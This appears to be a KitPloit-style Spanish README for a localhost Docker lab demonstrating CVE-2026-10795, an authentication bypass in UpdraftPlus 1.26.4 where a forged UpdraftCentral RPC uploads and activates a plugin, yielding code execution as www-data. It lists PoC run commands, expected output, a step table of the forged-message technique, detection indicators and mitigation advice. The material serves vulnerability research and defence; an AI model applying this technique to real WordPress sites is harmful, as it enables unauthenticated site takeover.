root@kitploit:~
### Objetivo Parcheado

Comando:```bash
python3 poc/poc.py --url http://127.0.0.1:8082

Señal parcheada esperada:```text CVE-2026-10795 local lab-only ID validation Scope : localhost / Docker lab only Technique : forged format=1 plugin.upload_plugin with hard-coded id marker plugin Safety : no generic web shell, no cmd parameter, no external targets Key name : 0.central.updraftplus.com Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php

Target : http://127.0.0.1:8082/ Command : plugin.upload_plugin Decision : RPC NOT DISPATCHED HTTP status : 200 Body bytes : 0 RPC JSON seen : False Body prefix : ''

ID endpoint : http://127.0.0.1:8082/wp-json/cve-lab/v1/id Marker active : False HTTP status : 404 Body prefix : '{"code":"rest_no_route","message":"No route was found matching the URL and request method.","data":{"status":404}}'

Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).

root@kitploit:~
## Comandos de verificación manual

Comprueba el estado del servicio:```bash
docker compose ps

Inspecciona los metadatos del servicio vulnerable:```bash curl -s http://127.0.0.1:8081/cve-lab-inspector.php | python3 -m json.tool

root@kitploit:~
Inspecciona los metadatos del servicio parcheado:```bash
curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool

Comprobar el estado del plugin en tiempo de ejecución:```bash curl -s 'http://127.0.0.1:8081/cve-lab-inspector.php?runtime=1' | python3 -m json.tool curl -s 'http://127.0.0.1:8082/cve-lab-inspector.php?runtime=1' | python3 -m json.tool

root@kitploit:~
Ejecutar validación solo con ping:```bash
python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082

Prueba de ID de ejecución:```bash python3 poc/poc.py --url http://127.0.0.1:8081 python3 poc/poc.py --url http://127.0.0.1:8082

root@kitploit:~
Comprueba el endpoint de marcador directamente después de ejecutar el PoC:```bash
curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool
curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool

Esperado:```text 8081 → marker endpoint exists and returns id output 8082 → marker endpoint returns 404 rest_no_route

root@kitploit:~
Comprueba los plugins instalados dentro del contenedor vulnerable:```bash
docker compose exec -T vuln sh -lc \
  'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'

Comprueba los plugins instalados dentro del contenedor parcheado:```bash docker compose exec -T patched sh -lc
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'

root@kitploit:~
El servicio vulnerable debe contener el plugin marcador después de que se ejecute el PoC. El servicio parcheado no debería contenerlo.

## Impacto

Este laboratorio demuestra que un atacante no autenticado puede falsificar un mensaje RPC de UpdraftCentral que llega al despacho de comandos privilegiados en UpdraftPlus 1.26.4 cuando existe un estado de clave UpdraftCentral adecuado.

El impacto demostrado es de tipo RCE porque el comando RPC falsificado abusa de la funcionalidad legítima de gestión de plugins:```text
plugin.upload_plugin
→ install plugin ZIP
→ activate plugin
→ execute plugin code in the web server context

La prueba local muestra la ejecución como el usuario del servidor web:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)

root@kitploit:~
La categoría de vulnerabilidad sigue siendo la omisión de autenticación. El resultado de la ejecución de código es un impacto encadenado mediante la instalación privilegiada de complementos de WordPress.

## Detección y monitoreo

Los indicadores potenciales incluyen solicitudes POST no autenticadas a la página principal de WordPress que contienen campos RPC de UpdraftCentral:```text
format
key_name
udrpc_message
signature

Características sospechosas:```text format=1 key_name ending with .central.updraftplus.com large udrpc_message value unexpected unauthenticated POST requests to / repeated RPC attempts with empty or unusual response bodies new unexpected plugin directories under wp-content/plugins new plugin activation events REST routes appearing unexpectedly after a suspicious request

root@kitploit:~
Indicadores de laboratorio locales:```text
POST / with format=1 and udrpc_message
new plugin directory: wp-content/plugins/cve-2026-10795-id-marker
new REST route: /wp-json/cve-lab/v1/id
id output: uid=33(www-data)

Ideas de monitorización en producción:

  • Revise los registros de acceso web en busca de solicitudes POST que contengan udrpc_message.
  • Alerte sobre solicitudes RPC format=1 procedentes de fuentes no confiables.
  • Revise los registros de UpdraftPlus y UpdraftCentral si están disponibles.
  • Supervise eventos inesperados de instalación o activación de plugins.
  • Supervise los cambios en el sistema de archivos bajo wp-content/plugins.
  • Revise los usuarios administradores y las integraciones de gestión remota.
  • Compruebe si UpdraftPlus es anterior a la versión corregida.
  • Elimine las claves de control remoto de UpdraftCentral obsoletas o sin uso.

Notas de mitigación y parche

Actualice UpdraftPlus a la versión 1.26.5 o posterior.

La versión parcheada rechaza las claves simétricas descifradas no válidas antes del descifrado simétrico y del envío de comandos.

Pasos de mitigación recomendados:

  • Actualice UpdraftPlus.
  • Revise si el control remoto de UpdraftCentral está habilitado o ha sido configurado.
  • Elimine las claves de UpdraftCentral obsoletas si no se necesita el control remoto.
  • Revise las cuentas de administrador de WordPress.
  • Revise los plugins instalados para detectar adiciones inesperadas.
  • Revise los registros de acceso en busca de solicitudes sospechosas de udrpc_message.
  • Rote las credenciales si se sospecha de un compromiso.
  • Restaure desde copias de seguridad conocidas como buenas si se confirma la instalación no autorizada de plugins.
  • Utilice una regla WAF solo como capa temporal, no como sustituto del parche.

La corrección más importante es ejecutar una versión parcheada de UpdraftPlus que rechace las claves simétricas no válidas antes del descifrado y el envío.

Limpieza

Detenga los contenedores y elimine las redes:```bash docker compose down --remove-orphans

root@kitploit:~
Eliminar contenedores, redes y volúmenes:```bash
docker compose down -v --remove-orphans

Eliminar el entorno virtual de Python:```bash rm -rf venv

root@kitploit:~
Elimina los archivos de evidencia locales si se crearon:```bash
rm -rf evidence/

Límites de seguridad

Este laboratorio es únicamente para investigación de seguridad local y demostración controlada.

No ejecute el PoC contra sistemas que no le pertenezcan o para los que no tenga permiso explícito de pruebas.

No utilice credenciales reales, secretos de producción ni objetivos externos en este laboratorio.

El PoC está intencionalmente limitado a servicios Docker locales como:```text http://127.0.0.1:8081 http://127.0.0.1:8082 http://localhost:8081 http://localhost:8082

root@kitploit:~
El PoC rechaza objetivos no locales por defecto.

El complemento marker no implementa un parámetro genérico de ejecución de comandos. Solo expone un endpoint de prueba local codificado que ejecuta `/usr/bin/id`.

Este laboratorio no incluye:```text
generic web shell
cmd parameter
reverse shell
credential extraction
database dumping
persistence
external callback
lateral movement
production exploitation workflow

El objetivo es demostrar una condición técnica específica en un entorno controlado:```text unauthenticated forged RPC

  • vulnerable format=1 validation behavior
  • failed RSA decrypt not rejected
  • predictable symmetric decrypt path
  • privileged UpdraftCentral command dispatch
  • plugin upload and activation
  • patched version blocks before dispatch
root@kitploit:~
## Referencias

* NVD: CVE-2026-10795
  https://nvd.nist.gov/vuln/detail/CVE-2026-10795

* Base de datos de vulnerabilidades de Wordfence: UpdraftPlus
  https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus

* Base de datos de Patchstack: UpdraftPlus
  https://patchstack.com/database/

* Plugin de WordPress.org: UpdraftPlus
  https://wordpress.org/plugins/updraftplus/

* SVN del plugin de WordPress.org
  https://plugins.svn.wordpress.org/updraftplus/

* Etiquetas SVN del plugin de WordPress.org
  https://plugins.svn.wordpress.org/updraftplus/tags/

* TeamUpdraft: UpdraftCentral
  https://updraftplus.com/updraftcentral/

* OWASP: Hoja de referencia de autenticación
  https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html

* OWASP: Guía de pruebas de seguridad web
  https://owasp.org/www-project-web-security-testing-guide/
Descargar herramienta
Comportamiento del PoCComportamiento de la fuente que se pruebaEsperado en 1.26.4Esperado en 1.26.5
Enviar POST con format=1El listener acepta el formato RPC heredadoContinúaContinúa a la comprobación de descifrado parcheada
Omitir firma válidaLa comprobación de firma solo se aplica a format >= 2Firma no requeridaFirma no requerida para format=1, pero bloqueada después
Enviar bloque RSA no válidoEl descifrado RSA devuelve una clave simétrica no válidaLa clave no válida llega a setKey()La clave no válida se rechaza
Cifrar JSON con clave nula/IV nuloModela el comportamiento de respaldo de phpseclib después de setKey(false)Descifra a JSON válidoNo descifra
Establecer command=pingPrueba solo el bypass criptográfico y el despachoPING DISPATCHEDPING NOT DISPATCHED
Establecer command=plugin.upload_pluginLlama al método de carga de plugins de UpdraftCentralZIP del plugin instaladoEl comando no se alcanza
Establecer activate=trueEjecuta activate_plugin() después de la instalaciónPlugin marcador activoPlugin marcador ausente
Solicitar /wp-json/cve-lab/v1/idComprueba si el código del plugin marcador se está ejecutandoDevuelve uid=33(www-data)Devuelve 404 rest_no_route
ServiceComponenteVersión / Rol
vulnWordPress + UpdraftPlusUpdraftPlus 1.26.4 objetivo vulnerable
patchedWordPress + UpdraftPlusUpdraftPlus 1.26.5 objetivo parcheado
vuln_dbMariaDBBase de datos para el objetivo vulnerable
patched_dbMariaDBBase de datos para el objetivo parcheado
vuln_setupWP-CLI setup serviceInstala WordPress, activa UpdraftPlus, inicializa el estado de la clave local
patched_setupWP-CLI setup serviceInstala WordPress, activa UpdraftPlus, inicializa el estado de la clave local